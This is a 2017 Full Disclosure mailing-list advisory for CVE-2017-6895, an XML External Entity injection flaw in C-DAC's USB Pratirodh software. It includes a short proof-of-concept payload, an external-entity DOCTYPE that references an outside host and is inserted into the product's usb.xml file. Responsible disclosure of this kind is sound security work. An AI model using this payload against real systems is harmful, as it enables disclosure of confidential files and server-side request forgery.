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Date: Thu, 16 Mar 2017 17:31:22 +0530 From: Sachin Wagh <wsachin092@...il.com> To: fulldisclosure@...lists.org Subject: [FD] USB Pratirodh XML External Entity Injection Vulnerability Vulnerability Title: USB Pratirodh XML External Entity Injection Vulnerability Affekted Product: USB resistance Product Homepage: https://cdac.in/index.aspx?id=cs_eps_usb_pra CVE-ID : CVE-2017-6895 Severity: Medium Class: Twentieth [CWE-611] Impact: XML External Entity, Information Disclosure, Denial Of Service, Author: Sachin Wagh (@tiger_tigerboy) *Description:* USB Pratirodh is prone to an XML External Entity injection vulnerability. XXE attack is an attack on an application that parses XML input from untrusted sources using incorrectly configured XML parser. This attack may lead to the disclosure of confidential data, denial of service, server side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts. Proof of Concept: Added below code after xml tag in to the usb.xml file. *<!DOCTYPE foo [ * * <!ELEMENT foo ANY >* * <!ENTITY xxe SYSTEM "http://tigerboy.com/XXE <http://tigerboy.com/XXE>" >]><foo>&xxe;</foo>* *Reference:* https://secur1tyadvisory.wordpress.com/2017/03/15/usb- pratirodh-xml-external-entity-injection-vulnerability/ *Credit:* *Sachin Wagh (tiger_tigerboy)* _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
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